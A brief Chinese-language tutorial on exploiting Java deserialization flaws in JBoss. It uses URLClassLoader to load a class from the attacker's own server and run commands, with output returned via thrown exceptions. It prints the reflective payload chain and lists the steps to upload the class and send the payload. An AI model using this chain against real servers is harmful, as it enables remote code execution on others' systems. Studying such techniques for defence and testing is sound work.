java反序列化漏洞URLClassLoader利用

0x00 回显思路和原理

这里使用JBoss漏洞实现回显进行说明。

  • 使用java.net.URLClassLoader类,远程加载自定义类(放在自己服务器上的class文件),可以自定义方法执行。

  • 在自定义类中,抛出异常,使其成功随着Jboss报错返回命令执行结果。

0x01 payload写法

  • 构造URLClassLoader执行链

执行链实际为:
URLClassLoader.class.getConstructor(java.net.URL[].class).newInstance(new java.net.URL("url")).loadClass("remote_class").getMethod("do_exec", String.class).invoke(null, "cmd");

这样就远程加载了exploit.ErrorBaseExec类,并执行了do_exec("cmd")方法,而且是在目标机器上进行代码执行。

  • 远程调用的ErrorBaseExec类

将编译好的class文件传到自己可控的服务器上,这里最好使用jar包。为了省事直接使用class文件。

这里将执行结果result封装在异常中抛出。 达到回显目的。

0x02 执行步骤

  • 执行以上代码生成payload
  • 将ErrorBaseExec类上传到自己服务器上
  • 发送payload,得到命令执行后的回显


0x03 参考

http://blog.nsfocus.net/java-deserialization-vulnerability-comments/